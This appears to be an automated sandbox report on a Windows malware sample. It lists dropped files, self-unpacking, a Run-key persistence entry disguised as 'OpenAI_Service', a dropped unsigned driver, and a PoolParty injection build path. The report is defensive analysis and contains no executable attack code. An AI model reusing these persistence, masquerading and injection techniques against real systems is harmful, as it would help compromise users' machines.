Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.ui.xaml.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windowsinternal.composableshell.desktophosting.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uiamanager.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: down.lnk.11.dr

LNK file: ..\..\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: VJQyKuHEUe.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: VJQyKuHEUe.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: VJQyKuHEUe.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\buildworker\csgo_rel_win64\build\_build_\valve_wmf\_vpc_valve_wmf\default\win64\_msvc_\Retail\valve_wmf.pdb source: VJQyKuHEUe.exe
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: zfon.exe, 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000006.00000002.2626243469.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001A.00000002.2826630254.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001B.00000002.2826626774.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001C.00000002.2983575039.00007FF8BFB75000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001D.00000002.2983573004.00007FF8BFB75000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001E.00000002.3573610429.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001F.00000002.3573612962.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000022.00000002.4202113973.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000023.00000002.4200959181.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, vcruntime140_1.dll.0.dr
Source:	Binary string: C:\projects\hydra\main\Release_X64\sceneProd\sceneSourceCef.pdb source: zfon.exe, zfon.exe, 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\msvcp140.amd64.pdb source: zfon.exe, 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 00000006.00000002.2624943938.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001A.00000002.2822975181.00007FF8A93A2000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001B.00000002.2822877853.00007FF8A93A2000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001C.00000002.2982816689.00007FF8A8052000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001D.00000002.2982816052.00007FF8A8052000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001E.00000002.3573056415.00007FF8A93A2000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001F.00000002.3573084819.00007FF8A93A2000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 00000022.00000002.4198997991.00007FF8B8342000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 00000023.00000002.4198930072.00007FF8B8342000.00000002.00000001.01000000.0000000C.sdmp, MSVCP140.dll.0.dr
Source:	Binary string: C:\Users\Nash0r\Desktop\safe\Cproject\dll_Hijack\PoolParty-main\x64\Release\PoolParty.pdb source: zfon.exe, 00000006.00000002.2603939256.000002DC4BD60000.00000004.00001000.00020000.00000000.sdmp, zfon.exe, 00000006.00000002.2604339396.000002DC4BEC5000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\Nash0r\Desktop\safe\Cproject\dll_Hijack\PoolParty-main\x64\Release\PoolParty.pdbC source: zfon.exe, 00000006.00000002.2603939256.000002DC4BD60000.00000004.00001000.00020000.00000000.sdmp, zfon.exe, 00000006.00000002.2604339396.000002DC4BEC5000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: d:\code\personal\soft_distribute_tags\code\CSharpInstaller13\obj\Release\counterstand.pdb source: VJQyKuHEUe.exe
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: zfon.exe, 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000006.00000002.2627113916.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001A.00000002.2827027498.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001B.00000002.2827030579.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001C.00000002.2983306377.00007FF8AF893000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001D.00000002.2983300322.00007FF8AF893000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001E.00000002.3573963734.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001F.00000002.3573968038.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000022.00000002.4204868510.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000023.00000002.4202524795.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: q8EC:\buildworker\csgo_rel_win64\build\_build_\valve_wmf\_vpc_valve_wmf\default\win64\_msvc_\Retail\valve_wmf.pdb source: VJQyKuHEUe.exe
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: zfon.exe, 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000006.00000002.2627113916.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001A.00000002.2827027498.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001B.00000002.2827030579.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001C.00000002.2983306377.00007FF8AF893000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001D.00000002.2983300322.00007FF8AF893000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001E.00000002.3573963734.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001F.00000002.3573968038.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000022.00000002.4204868510.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000023.00000002.4202524795.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: zfon.exe, 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000006.00000002.2626243469.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001A.00000002.2826630254.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001B.00000002.2826626774.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001C.00000002.2983575039.00007FF8BFB75000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001D.00000002.2983573004.00007FF8BFB75000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001E.00000002.3573610429.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001F.00000002.3573612962.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000022.00000002.4202113973.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000023.00000002.4200959181.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, vcruntime140_1.dll.0.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Unpacked PE file: 6.2.zfon.exe.7ff7f96e0000.0.unpack

Source: VJQyKuHEUe.exe

Static PE information: 0xD177A4E7 [Mon May 12 12:39:03 2081 UTC]

Source: VJQyKuHEUe.exe	Static PE information: real checksum: 0x32e39 should be: 0x388be
Source: zfon.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x293a39

Source: MSVCP140.dll.0.dr	Static PE information: section name: .didat
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Code function: 0_2_0275F0A2 pushad ; iretd	0_2_0275F0A9
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE584DB push dword ptr [esp+eax-76h]; ret	6_2_000002DC4BE584E0
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB5B00CF pushad ; iretd	7_2_000001CDCB5B00D0
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB903D09 push eax; ret	7_2_000001CDCB903D0A
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB903D26 push eax; ret	7_2_000001CDCB903D27
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB903CA9 push eax; ret	7_2_000001CDCB903CAA
Source: C:\Windows\explorer.exe	Code function: 11_2_0305005B push esi; retf	11_2_030500AD
Source: C:\Windows\explorer.exe	Code function: 11_2_0305002D push esi; retf	11_2_030500AD
Source: C:\Windows\explorer.exe	Code function: 11_2_030500AE push esi; retf	11_2_030500AD
Source: C:\Windows\explorer.exe	Code function: 11_2_030500AE push esp; retf	11_2_030500B8
Source: C:\Windows\explorer.exe	Code function: 11_2_08925876 push ds; retf	11_2_08925877
Source: C:\Windows\explorer.exe	Code function: 11_2_08926172 push 8348FFFFh; ret	11_2_0892617A
Source: C:\Windows\explorer.exe	Code function: 11_2_089277A1 push ebx; iretd	11_2_089277A6

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Windows\hh.exe

File created: C:\ProgramData\kernelquick.sys

Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	File created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\vcruntime140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	File created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\MSVCP140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	File created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\libcef.raw	Jump to dropped file
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	File created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	File created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\VCRUNTIME140.dll	Jump to dropped file

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe

File created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\libcef.raw

Jump to dropped file

Source: C:\Windows\explorer.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OpenAI_Service			Jump to behavior
Source: C:\Windows\explorer.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OpenAI_Service			Jump to behavior

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Code function: 5_2_00007FF8B9116580 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_00007FF8B9116580

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\hh.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE VenkernalData_info

Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
